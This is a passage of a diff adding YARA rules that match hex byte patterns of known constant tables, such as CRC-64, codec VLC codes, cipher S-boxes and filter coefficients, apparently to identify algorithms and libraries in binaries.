+	$a0 = { 000000e047357340000000e0ffff6f4000000000c7a76a40000000201334664000000060b97e624000000000decf5e40000000e070aa5940000000e00c61554000000000f2ce5140000000c006ab4d40000000a082b6484000000060dc95444000000040b1254140000000c00e913c40000000c0a2cb37400000000037d2334000000000b9823040000000808e812b40000000007be9264000000000d5152340000000809bcb1f40000000c0227c1a40000000e0b80f16400000008071601240000000c06b9d0e40000000806b800940000000200c3e0540000000c0c9b10140000000a0737afd3f000000600c8ef83f000000202874f43f000000009e09f13f000000204962ec3f000000e0aca4e73f00000000c3b1e33f000000a0b067e03f000000608554db3f00000080f7c3d63f0000006095f6d23f000000608c97cf3f00000080c550ca3f000000c099ebc53f000000e05a42c23f000000604b6bbe3f00000060aa56b93f00000060441bb53f00000020d194b13f000000e02f4aad3f00000040d865a83f00000000ab52a43f000000c0b8eda03f00000000d0339c3f000000e0f67d973f000000208491933f00000080d44c903f00000000c6278b3f00000060b19e863f0000000089d7823f000000c0d2637f3f00000080af257a3f010000e0b5c7753f000000807524723fffffff3f7d396e3f000000c02d2d693f000000a0b5f8643f000000000878613f010000203b1a5d3f01000000e63d583f000000c06431543ffeffff3f01d2503f01000040a3054c3fffffff5f8057473f020000207a71433f010000602432403ff9ffffff4ffb3a3ff7ffff5fa879363ffeffff7fafb8323f040000c06d302f3f060000e0dffa293ff4ffffbf0ca4253f00000020c106223f0b0000a000081e3f03000020f503193ffeffff5f5fd6143f000000e06d5b113f390000c094ea0c3f450000003516083f020000c05410043f2f0000e076b6003fd3ffff9fc1d7fb3e7effff7f4831f73e33000060a451f33e97ffffbf9f17f03ee5ffff5f22cfea3e9effff9fdb54e63eb1ffff3f089ae23edcfeff7f5cfdde3eba00002056d0d93e170100e09d80d53e720000403de9d13eecfeffbfd4d6cd3ee8feff9fffdac83eb203004041b4c43e5cfeff7f023fc13e210000403cbbbc3eb0ffffdfc4eeb73ebcfcffdf7aefb33eddf9ff9f199bb03e310500202baaab3e0d0d00404f0ba73e640800c00232a33ed3e9ff3f8dfa9f3ed32000403da39a3e3cebff5f4b30963e25e8ff3f937b923e80e6ffff9eca8e3e8d16002012a6893eff170000695d853e732600c0e9cb813ede9000a0f9a57d3e725900804db2783e8adbff1f5b92743e825900c0c522713e1ad7ff7f318c6c3e4dc8ff7f95c7673ebefdfeffd6ce633e5ab0ff5fe97f603e099eff9fdf7c5b3e }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ECMA_182_poly_0x92D8AF2BAF0E1E85__64_lil_refl_True_
+{
+strings:
+	$a0 = { 0000000000000000e7812fba97498524ce035f742f930a49298270ceb8da8f6d9c07bee85e2615927b869152c96f90b65204e19c71b51fdbb585ce26e6fc9affab39967856adda664cb8b9c2c1e45f42653ac90c793ed02f82bbe6b6ee77550b373e2890088bcff4d0bf072a9fc24ad0f93d77e42718c5bd1ebc585eb051409956732cf1ac5ab5cdb1f2034b3b1330e99870738583c9bf847ff15c3f14803aa0ca749219f27ca05f2df5bda36535257b0477cd6dddefaa16e3f6e2d74aa62f32fd4aba89faf76fab1acb95336dbeea8f3349e5fdd56465e2d4c8ca47422de0c6614d0461a4d17a3986cc2bdb3398ff1daf4e5b158b42707048cf74af1c0bf5543fd0b24bb2549ad9d8519df1251d1ffdf1d3ed3f9dc790901652c2850a8e15b4a3d70ca3ec728f4b445623197b3b0a6f6dd453d7c3e185028a557c6d54a8002694e92433e4f940bf73680b8973b0c59b5aea7b47cb6a4af6bd6b54fd5c23cfd208ee9adbbadf552def6fb5612d96d009c6edc5af954c5f64216cea150205da4069a39eba1e0e2f148e22b1008947aa30a7a0c1ce319d255d4021ee74a6d4a079f5a4205240283a8612250fe8d761bfa23ba77f266fbb30cfdc26509cf8f2b5ebc29a08c248a3f572251b2778dfea70560c9957b66730ff3beb18780cf0797a1f5e9db62a1685e0e0b91c999081cc65c4909ee95e3916eaa9771fc6e4ae5f6f8ded968f3e8f48c4f10a17a084180141d52395d04aa0dbceb8c414fff037924b9c719131d6d16ed16396101e6c46275447bf926ea2fefddb2a5813411869b45e0e46af1946d9e51e97a12e36fc4eac9bb388ac4632f67614de6f2d6988613f91fadaa8a7ae87c30b053d298814108a8e2114abf8daa850014cf32ad7603f198468bbe5a3cf2312713c5c648c75b45bf41875e6fcbb0c817b759267d3019bc8fe5127e21d277d3464aec063329dea7de18ae9e1425352a76ee70e606de9c5eeebc310dc35b775bfab5af75d1a0de2f62e7ededf6ac35a2ca113395e4579cd6524378cdb8b5f2b99bec86b5aa4e5bcd03bec42d8d42b040ab481a559fb91934331a5d2463d753d1c5e2835c712cfaa55db0c1c456201128f5461fbc44dbb85c6d1454e41839d633a4bbaa9c0ac27f473ce9e8042dce94ca941f367c3f353dbe0c4d7797fab0d6bb1844e9efe84b7fcf8016ab77cf47944228e0750fddbc3d36b0b23e57815e5359791dc02f93a5fa2de14f82b7b4a911a049b95ccfa652b8d4d1eb1843511849146ebe563b43e3e060f6ec14a364ef0bed5e1acadb7614a299c64881832af6ccf60fe77ffb380d658297b53d631f018e0f3f43e31b0dfa277ba711a2f0c87fcc7eb3183c88da84650a2b4a7e10fd888e8783bca068ef7327f31beeeb30b391499cd2411548a16ae0e84a1357d086660b65e2e589a8949da2117ab7c491bf5d4f57078a1ae9ada6e6239fd858718aaa0dae372e86099851a4daaf7ccd51c4b3cab566d33329d64863c1fe8171b1f144884c5677afc9e3bf2138ce25ee22263aca3dda2c705a34c16349427e32c213cd88c4ea88ecba013621b072daa7e25dd44fdfbb75599a4f2fe6ab23271b0268230d268bd1c57a7ad8a452138381f68d925592acd6cf8e9f69fce634848d16b865176b9c72536eaa9ebe1f04201836f67cd070cd8fe64ee487790455dda4d6c38b9289fd2b7aaed1703bfd65793b4514f5d0f87170a53d060e798ce922e7a52102920141d439dd33f93b75d98672856f1b551a10298cfd7de0fc6e887bce655aec17e3208d101d4817be97b8df576cb479f4724e278914a6825d06d675cb8c818eb68b7e8315f493751fffe6d15eaccf9771902f7ea0d4dd6cd8e4b72ce24cfa6033691fda3c34e89b9a1d87887ddf2d1e71189381e3a73fe5d86c0bd3a13f18e933e1a3257f470a129a953b77341f56f0f4faf2d8ca67440b5d8e6a8a88ff6307b603c27c568771fc1f775a2e120b86b6eeb7e57b5c73944d47c37d291eebb341ac4ed5dfc093a1ba053a4d8d8bcbfd586b55842275b3efa3c2211c70372bc8af29acb486e953da5480d82cd4a8b81fd16bdd38dd36c00d2ac2a9a08f74582a2629240879aa2038dd8050902be178643fee3f59841f0076c4474bc1d65d9851c8acc6692083e0433305b2f172ca48d7aea7a38bc50430c5550ed7139746a8e259e55abb6198d0f0a24c2e2333d388ac402241ea9c2df0bebb8b3572ce6f6899b760b8da38b1108b4cc9cc426af0fb4ec922c956636e835c328bbdce312c1b7b3e603066c7f26369c5c944fe95b93b3527a72b373a474327dc0e5faf6805db00d0e5d2079edba3122b4ca69fcc9f2fe561bd662099d157f79a1412b8cb93cfd096ff9f103d4db7c26d56eb886f06ef9e8f388441c0f8978c7491f0d992ba0fab787a7d71646477b983d309e936259c7c06380cfd3fbbe46efd9178656df97c49f17af5cd9b27045b0ad38155c96c5c07e8bdee9c6692241513149a0434d0bc321fff17acc20ec420e45663349049b5dc8a1c86c26897cdce71b5f25a3ad555e97d5e7ff2cc0b2dfb86f70b6a9e4075a7649964a331be0db59f30103b63fc959293db9d939522ed806872e90bc7630645ed99ec1fcefd7e57163098879cbfe6701adb152f6a619e62e17261b7382ac63e031c0e7e97d4be2cf8b57ae6c596260bf45ef74e33485e190ff783d6610cd2ee450643693442aafcbeaf37f1660032dbb244ba5990de4ac949edcec1c2951295ab83a1086d6b6a87502ad5903f29f2a05cc15838c9f78ab2a7682ca09bb66177228329b492281965d92a5d2cc06a8142d5c1d08436b4f9502e68a41c64ffa10ccc06cbd5cb01d91e37afbf4d994341393b4432e56f9d392bc0ed467d3dd }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpc7_quant_vlc__16_lil_3584_
+{
+strings:
+	$a0 = { 360006000900050020000600050005000a000400070005003400060000000500230006000a00050006000400040005000b000400070003000c00040003000500070004000b00050022000600010005003500060006000500090004000200050021000600080005003700060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000670008003e000700e1000900370007000300040034000700650008003c000700e300090018000600000004003d0007000400040001000100050004003f000700010004003b000700e20009003900070064000800350007000200040036000700e00009003a0007006600080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000590007002f0006000f000500000005005b00070004000500060004000d0004000400040005000500140005000c000400040003000f0004000e00050003000500030004000e00040005000400010005005a00070002000500150005002e0006005800070000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000099030a007100070033000600e70008009a030a00680007001e000500000003001d0005006900070032000600010003000200020003000300310006006b0007001b000500020003001f0005007000070098030a006a00070030000600720007009b030a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c00040004000300000002000100020007000300050003000d0004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400050003000400020002000300020001000200000003000500050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000400000003000400030006000300070003000500030003000300010003000400040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000090005000c000400030003000000020002000200070003000d0004000500040008000500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003900060017000500080004000a0004000d000400000003000200030003000300010003000f0004000c000400090004001d000500160005003800060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e50008003800060007000500020004000000030003000300050003000600030004000300020003000f0004001d0005000600050073000700e40008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000041000700060006002c0006002d0006003b0006000d000500110005001300050017000500150005001a0005001e0005000000040002000400050004000700040003000400040004001f0005001c000500190005001b0005001800050014000500120005000c000500020005003a00060021000600070006004000070000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000048190d004a190d0028030a0095010900cb0008006600070031000600090005000f0005001f0005000200040006000400080004000b0004000d000400000003000e0004000a0004000900040005000400030004001e0005000e000500080005003000060067000700c9000800c800080053060b0049190d004b190d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006700080099000800b5000800e900080040000700410007004d000700510007005b0007007100070070000700180006001d0006002300060025000600290006002c0006002e00060033000600310006003600060037000600390006003c00060000000500020005000a0005000500050009000500060005000d000500070005000b0005000f000500080005000400050003000500010005003f0006003e0006003d000600350006003b00060034000600300006002f0006002b0006002a0006002700060024000600210006001c00060075000700650007006400070050000700450007004400070032000700e8000800b4000800980008006600080000000000a4370e00ad370e00a6370e00ae370e00ea0d0c00f0020a00f1020a00a0000900a2000900bc0109007a000800df0008003c000700490007006e0007000e000600180006001900060022000600250006003600060003000500090005000b000500100005001300050015000500180005001a0005001d0005001f00050002000400000004001e0005001c0005001900050016000500140005000e0005000d0005000800050006000500020005002e000600230006001f000600150006000f0006005f0007004800070029000700bd0008007b00080079010900a10009007b030a0047010a0046010a00e80d0c00af370e00a7370e00ac370e00a5370e0000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_U2__32_lil_1024_
+{
+strings:
+	$a0 = { d3ba68d2fc54194d712f93bc9c74b9cdf553025168d3b86b6bd2bd6fd74d6429f0500d5de9ac268a8a8d830edcbf79c69070adddf6520755b39ac852d44c612d23ea658f62d5a673a497f1666ed1b2635533ffccf3510859ed5b2a71f7a604a27fde815fd848753de5a8329ab699c75e70db904b5632fac8c4b751e619fc2bd738e348abbf9edc42ae91ef7eb09bcd563be24dafd0bb6dd6c3415819b26ecba5f2a50bae40cbc00bbd6bdab1a295fb6efea11fbe08f318ebceb14ffe06020a0849ccdb1751c4f337271d69743c14445058c3e82ba563f29173da954fe75d3469e15f3e6179dc8b57877d94e94acdde13817f9ee1ee5a2f75b46cc1ade45c316d04f70cfb6a26be981cff24db2aed7e9325e86f87ba9dd34eb16fcea18f8e8c022b197d64fda01aba0df017e78689971e110f333c09071b1cecaf298610fb30cb180828203f154154170d39340c04141003010504ac64e98d7cdf845b9a76b3c58b7980f97add8e53473dc9f43a164e58413fc3fc5937ebdcb76dc4a94838d8e0d6b967de9573a2d126e96a835f35e1d4ff551c499371a8d98d7b8af1898c860a9672a7d58588921a07f609ff7e2a82a8423ec6f8e25e3b656927bb9cca464305140c3c30af65ec89b868d5bda361f89905030f0c5ec1e223f957164167d6a97f76d99a43e858257d75d89f47aa66e38564d7ac7b4e3ad2e845c8cf07443cccf013fa35cfa796f462f4a701a6b598c25a29ec7b97d5b862da54c7fc3befae2c82bb69d0b9dd4b7a31e0ab3d96e6a9379ea967e6811e0a2228c94746010bf21defc2b55bee6622aa8832e556b32fee719fdfbe7cc27d2b87ac9e81bf3e36125a489883b5362d1b776c120e36386523af8c02f506f3cf454c096321a5844fced11fdb497039742c9cb016f93ac337e659bfc7b654e2782888a039174b5c9b82b0322e1a7268808b9d161ffe21df838a98121b092d2446c9ca039487a126d24e6b253ee142a3722e96b831e453b73de047a720eb608bad90ea7af1a40eaa221e66789285ab2ea060fd9d000000006f25b19401f403f70ef112e3a194fe6a1d0b272c34e75cbb9f75bcc92cef749b5c34e4d05331f5c461d4a3776dd0b7679786a422827e9be5eaad238e1afd2ed37b298da45030f0c04d3bd7ecbc9fd94615f83fc757c6f93f35135f4c0a061e180f05111452c5f633331155449977b6c1847c91ed8e7a8ff5887885fd5a36eed8241c6c704b39dde4eb59207928187860fa561345c8b345f6cdb04afa6c24b4906020a080cbb240f2ab92e072f8a315b65dc0e727cc44490da662f79530105040c1b45eea9184ae2ac5435211a893e5765bc2ed2fde4a7f35dabd73ce8c8f8906772d99b4d9bc76cab99cd64abe6adfb5c0405d1d4ccfd41bfba210b29d80ba3ad14f6e21211f637c43cac50fe3aa3892c6425715 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_3__16_big_386_
+{
+strings:
+	$a0 = { 40003ee83dd13cba3ba43a8f397a386737543643353434263319320f31052fff2ef92df52cf12bf22af429fa2901280e271b262c253e24572370229021b020d61ffc1f221e481d731c9f1bd31b071a44198118c318061752169e15f2154614a213ff135d12bb1222118a10f910690fe10f590ed60e550ddb0d610cee0c7c0c0e0ba00b320ac40a5a09f1098f092e08d4087a082507d00781073306ea06a20660061e05dd059c0560052404ed04b704850454042503f703cd03a3037d03570333030f02eb02c702a5028402660248022d021201f901e001ca01b401a0018c017a016801570146013601270119010b00ff00f300e800dd00d300c900c000b700ae00a6009e0096008e0086007e00770070006a0064005f005a00550050004c004800450042003f003c0039003600330030002e002c002a002800260024002200210020001f001e001d001c001b001a0019001800170016001500140013001200110010000f000e000d000c000b000a0009000800070006000500040003000200010000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_quant__flt32___32_lil_160_
+{
+strings:
+	$a0 = { 00000000000000000000000000000000000000001e162a3e1e162a3e1e16aa3e1e16aa3e1e16aa3e1e16aa3e1e16aa3e1e162a3fa69b543fa69b543f2d21ff3e1e162a3f2d217f3fe258bf3fa69bd43f1e162a3f2d217f3fe258bf3ff9310a4019731f40a69b543f1e16aa3ff9310a403f573f40643b5f402d217f3f6adee93fddb53440287e744089d294401e16aa3fb7d11440643b5f4089d294405f07ba40 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdvdkit2_p_crypt_tab1__8_byt_256_
+{
+strings:
+	$a0 = { 8c47b0e1ebfceb5610e52c1a5defbe4f0875974b0e258e6e395a8753c41ff45c4ee69930e04288abe585bc8fd83c54c9534718d6065b412c671e417433e2b4e0232942ea550f25b4242c9913eb0a0bc9f96367432dc77d076089d1cce79477749b7ed7e6ffbb68141ea325de3aa3547b879d50ca27c3a4509127d4b0824197799482acc78ea54eaa789ee042ba28eab774ad35da92607ed20eb9245e394f5e6309b5fabff122551ce225dbc5d8500398c4ac2e11b4384dd0b9fc2d3c08045aefce32fb4c921e4bfb1ad0e23eda6e7c4d56c33f42b13a234d6e845668f40e0364d0a9922f8bbc399cac095eeee597bfa5cefa282c6d4fef77aa1b798e97b4c3f4 }
+
+condition:
+	$a0
+}
+
+	
+rule ISI_rFactor_encryption_algorithm__64_lil_48_
+{
+strings:
+	$a0 = { aa6f82eda28a6fe5d83100c7f97c772fa953772f082cb4128d1318a2acf0c4e500000000000000ffff00000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_1_lo_filter__flt64___64_lil_72_
+{
+strings:
+	$a0 = { adaa0fc87153943fbede05420310a6bfa7de753c0e91aabf8f1e56cb4cc4d23f755ef8479e0ae23f8f1e56cb4cc4d23fa7de753c0e91aabfbede05420310a6bfadaa0fc87153943f }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dol_short__flt64___64_lil_1024_
+{
+strings:
+	$a0 = { e1caf0e428f6063f0435a517111c1f3fb1b0f14c903d2e3f42bea70e4586393f654288eaecd9433f3e252ade9c3a4d3f2db0ba600fac543fc5bf3882de585c3f91db0827d3f4623f26a286ed4dd5683ffcf601f818f76f3f2172b8243e43743fdb0d41015a59793f796cb995e5567f3ffb3d56df1a2b833f239605806839873f33bc721da6e48b3f026f4176c89d903f74d23de4a0a6933fcd4135be8914973fc2858e4c43ef9a3f1f646383913e9f3fe51dcbe21505a23f4f88a3e1d5aca43f19079bcc3d9aa73f3c6960ade1d0aa3f51abf1192b54ae3fa40afbd4a713b13fe48f15b5a326b33f5e9e5ab46164b53f300af73a12ceb73f0eb8de1ab964ba3f4659d24e2929bd3f1ed6d87e000ec03f9af0dee7d29ec13f307c78d12047c33fbeae70d5df06c53f5ce1e603e5ddc63fb002b3efe3cbc83fb58f5a006ed0ca3f3c6c9c0df2eacc3fa7d6dc47bc1acf3fb51af7377bafd03fb5fbec2f54dbd13f0961b4725c10d33fa0b71e77f74dd43fd4e832827993d53f95eca88c28e0d63f2e4c184e3d33d83ff9f9e26be48bd93f6c4373c93fe9da3f0845f6f6674adc3f07a555bb6daedd3fcad7d4b55b14df3fc190b0099c3de03fd28fac2903f1e03f27fda88be4a3e13f7f3297fcc155e23f098f5bb11e06e33fce26e73080b4e33f8dbd273a6f60e43f25925aa37809e53f33bb59302eafe53feea28e5d2751e63fb67a4e1d02efe63f5d1c87856388e73ffa82cb6bf81ce83f7b7efeed75ace83ff92110e69936e93f01387e472bbbe93f7d3b8965fa39ea3fc2575521e1b2ea3f0a1c79ffc225eb3f2c21c9248d92eb3f0e0a803a36f9eb3f6c20343abe59ec3fcc585e222eb4ec3f30a988949708ed3f65228a5e1457ed3f82d584f0c59fed3f43d4a2c1d4e2ed3fd20bd3a56f20ee3f50c20217cb58ee3ff1838374208cee3ff1b0753badbaee3ffb172c3bb2e4ee3f63b18bc8720aef3ff6776af3332cef3f9ea4e0c03b4aef3fcec05f6dd064ef3f971b33b9377cef3fb2bccd41b690ef3fea20fce98ea2ef3f0aa0b55202b2ef3fdcb0e4654ebfef3fcd3411f4adcaef3f17d6676558d4ef3f18e3287e81dcef3f6f9d1b3659e3ef3f95433ca20be9ef3fe5827eefc0edef3fa65d2e6d9df1ef3f362a39a5c1f4ef3f18b478804af7ef3f7f7cfc7451f9ef3f6b9840bcecfaef3fa4f0458f2ffcef3ff33e93662afdef3f600a473cebfdef3f29ad8ece7dfeef3fb96e0ae1ebfeef3f532ce07b3dffef3f49357a2779ffef3fc35b2c24a4ffef3ffc89339dc2ffef3f1d8dbad6d7ffef3fd6c0bf56e6ffef3f6ccfe108f0ffef3f642f3d5df6ffef3f312fa062faffef3f615270dcfcffef3f14e9a954feffef3fc6bf6a2affffef3fd5537b9dffffef3f530148d7ffffef3f7d0db6f1ffffef3fc93038fcffffef3f11317cffffffef3f }
+
+condition:
+	$a0
+}
+
+	
+rule psymodel_table2__flt32___32_lil_40_
+{
+strings:
+	$a0 = { 899ee33fe553ec3fa75ef53f9b14f93f0ed9fc3f7b8fea3fda97d93fe284bf3f7c91a83f0000803f }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_neg__flt32___32_big_160_
+{
+strings:
+	$a0 = { 3f8000003f8000003f8000003f8000003f8000003f6428e03f6428e03f4b58d53f4b58d53f4b58d53f4b58d53f4b58d53f2186033f0ff5263f0ff5263f353b973f2186033f004d503eb5a90e3ea1e7933f2186033f004d503eb5a90e3e653cd73e361a033f0ff5243ecbd3a93e653cd73e00eac73db688023f004d503e904c1a3e10a5d53d90fd2e3d23108b3ecbd3a93e4c52683db6880f3d23108b3c91ac9b }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_15_tap_hi_filter__flt64___64_big_120_
+{
+strings:
+	$a0 = { 3f54707ca7b6e1d6bf6470959ea02f2ebf81e188acc886a83f946fdbe39ea9013fa9deefe4ffc979bfbedc6da9a6acfdbfd2c1423f95972c3fe698febf0d4690bfd2c1423f95972cbfbedc6da9a6acfd3fa9deefe4ffc9793f946fdbe39ea901bf81e188acc886a8bf6470959ea02f2e3f54707ca7b6e1d6 }
+
+condition:
+	$a0
+}
+
+	
+rule libskba_asn1_yycheck__32_big_808_
+{
+strings:
+	$a0 = { 0000000C00000029000000410000002D0000007B0000000400000005000000040000007F000000050000003400000004000000050000009C00000038000000390000003A0000003B0000003C0000003D0000003E00000004000000050000000800000008000000320000000500000008000000050000001D0000001E000000380000000600000012000000610000000400000036000000120000000000000004000000050000006800000010000000050000000D0000000E0000000F000000BE000000330000001F0000002F0000003000000037000000310000006000000022000000370000001600000017000000330000002500000031000000370000003700000031000000310000006500000004000000310000003600000069000000200000003700000036000000030000008A00000033000000C40000005A000000C600000037000000900000002F000000300000007C0000000500000003000000070000000500000009000000070000000B0000000C0000002100000033000000260000003300000011000000370000001300000037000000150000001300000033000000180000001900000032000000370000001C00000004000000050000001D0000001E0000009900000005000000230000002400000004000000050000002700000028000000290000002A0000002B0000002C0000002D0000002E0000000500000005000000070000000500000009000000340000000B0000000C0000000300000003000000140000003600000011000000980000001300000036000000150000000A0000000A000000180000001900000014000000360000001C000000310000001A00000036000000040000000300000031000000230000002400000008000000050000002700000028000000290000002A0000002B0000002C0000002D0000002E000000B500000036000000120000001B0000000500000012000000040000003800000035000000050000003200000031000000360000000400000035000000040000003100000004000000320000005C000000B0000000320000003200000032000000320000003800000038000000A30000008B0000002000000087FFFFFFFF000000A7 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_rv40_aic_mode2_vlc_codes__16_lil_3240_
+{
+strings:
+	$a0 = { 010001000500f50111004900000048004b00350003003400c903f401c9004a00d90fc803100037000100c8007500f701cb0074000200f601ca00f101f001811ff907801f831ff8077700f5003600fb077600821ff400f700fa077100f600cb03ca03d80ff100f5038d1fe50713003100f000db0ff300e4073000f301e707f403e6077000193ff201183fda0f3300e107fd01fc017300ff01c50fc40fc70ff7037200050005000500790005000d001d007800690004000100070068001c001f0004006b000c0004001e0006006a0015000f0014001700070016000e0011000900d100d0008101d3007b00100013000400d2000700190308007a00dd00190006000b006500dc00120064008001df00060018000100de001d00d9001b0067000a00d800db001c001803da00350683010000c500660061003500c400820134061b03c7001f00050001001d00c1013500f1006d00f0004900000004000300f300480034006c00c001c3010700060001006f0002004b006e001c000500690068006b003700c201f2009503cd01fd006a0036001500cc01140094034a00fc00ff0017003100fe00cf019703f900ce01250796031600300075002407f8002707330091039003110032001f00fb0074002607fa001e00770019001800040010003d0076007100130001000d00190011001500610019001400ad0160001800010005001b001000190005001700180016000400040013000c0012001a00180005000f001b0004001d0011001c0010000e001b0013001f001a002900050063001e0009006200080007000700190004001a0018006d0007001b0007001a006c000600120005006f000b006e0069001d00590328002b002a001c00d50058031f0001001e006800d400d70019000000b90061006000b800b502ad01bb00f50a5101010001000500000003000500040063002500ba00040007006200a50024006d0002006c00b4020d006f002700a4002600ac015001af01ae0121006e00b702200053012300a7005201a60006000c002200a90119002d00b602a8010f0007000e00a10069002c000100ab01a000b102a3002f00f40ab002f70ab30268005d01f60aaa0155005c01b202790578055f01a20005093d013c0104091d129d049c043d240709ed000100150041003f01310014005d025c023e010d000000400039014300300017003300060932004200ec005f02ef005e029f04380101093b0159021c129e04000958023c241f1203093d00ee005b025a024d003a0102094502e9001600e8009904250144024c0098040d09eb003c0011009b049a048504ea003f0024010c093e003900950047024602840494003800090fcd00fd0191076d1e9007d903d13cd03c7500010001003500cc0011000000d803fc01db0310000300cf00da03ce007400340077009307130076007100c5037000ff019207fe01f9013700c900080ff801c403c8000b0f9d07c703010012007300cb0005003600c60372007d000200ca009c07fb01f50031009f070a0f350f9e07fa016c1e6f1ed33c9907c1036e1ed23c3000f4007c00c003c3039807e501f700a50101001d002100a1000d006100b906a0006000010005000c0020001c000400a401a701a3001f001e00230022002d002c0063006200811aa601a101b806bb06a200ba06590da506a0010f006d00a4062f00ad006c00a706ac00580d0e00a301af00ae006f00a2015b0da900190001000900a8006e002e000000ad01ab00aa0055032900801a831a821a5403ac015a0d8d1aaf015703450d440d470d8c1aa606a1060100110005007507f900f800310030004900fb0010003300c90e8d038c03fa008f037407480032000000d501e5008e03e40013000d008903770788038b03f91dc80ec93bf81d8a03b5037607e700c83bd401cb3bcb0e7107ca0ed701b403d601fb1df50e7007f40eca3b7307e600b7034b00fa1db603f70ee100f60ef10eb103d1013d00f00e72077d077c073c00d001b003d3013f00b303d201f30e7f07e0004a00150049001400d107fd03fc03c101c001f100170001000100c30148004b0016003100c2014a0011000000cd01f000cc01750010000d00ff03cf01ce01d007810fd3071d1f800fd207c901fe037400dd07f3001c1fdc07f903df07f200fd007700de07d907c801d807830ff803300076001300820ffc00fb033300fa03e503e403cb0132001f1fe703db07da073d00ca01c507e60371008d0fc4071e1f8c0fe103f5011900650018005103500353032100200064001d0005000500a501230067000500660022001b000400010004001c0061001a000500040007002d0006002c00a4012f0052035d03600001002e001f005c030000b106a7012900a6012800630062005f03a1012b00b006b306a00103006d001e005e036c00b2060200a301a2010d0005000700ad016f002a006e00040004000c00070006000f000e00d500090006000700650081016400c936d506b50d790380018301d5001d001c00b40d82017803d400d700d40667001f000100d600d1008d016600010000007b03d7067a03b70dc836d606b60d791bb10d8c016503d000781bd3007b1b6403d106d0068f018e01d200cb3667036603d306b00dd2066103dd068901ca366003f5368801b30df436090008000500dc06dd008b01dc0004000b008a01610003006303df00df0662030a001e001d0061000d00550db906b806a5012100200023000c006000540dad00ac002200af00bb060f001c0001002d006300a4010e0001000500a701ba06a601a506570d560dbd1a510dae002c00a9002f00500da101bc1aa406a706a606a800a106a001bf1a530da006520dbe1aa30662002e0009005d0da3015c0d6d00ab00a2066c001f000100ad062900a201280004001e00ad016f000000ac01af01ac06aa006e00190019007d001800b5010d00b4017c007f00b7010c001b001a00b6010f00d50019007e00d40018001b0001000e0011000900050005000500d700b1010800b0017900fd0671037003d6007800b301100073031300fc067b007a00d100d000d30065007203ff066400fe067d03d200dd00670004007c031200b20107006600bd01060061000400bc011a0060001d0004001c006300010007000b00000062000a0005000700690045006800bd045502bc04e500e40031003000190001002101e700e6003300e100e0006b00180001004400320047006a001b0005003d0046001500410020012301bf04220140003c00e30014005402430075092d01e200ed004200ec004d00570256025102be0474095002ef00ee004c00b9042c01b8044f00bb0453023f00170001005202e900e800eb00000003001600020004004e003e00ea0049000d0007000d00bd010c00310d300d330d590358032d0065001d001c00320d5b035a032c00bc0145030f001f0001002f006400bf0167000100050066002e006100290095069406970696066000be013d0d2800491a4403481a4b1a3c0d91062b00b9012a003f0d900647033e0d4a1a4603d50041036300390d4003380db8013b0d3a0dd400620000009306bb01430342031e000e006d00090001006c00d7004d03ba01080004007500cd003500c103c003f907c3038d1fcc00740011001000c203d90ff101cf00cd03ce003400010001003700c900c800360000000100d80fcc03cb00f001f807cf03fb07fa07ca00f301ce03f500db0ff400e507e407e707f201e607c903fd01da0f8c1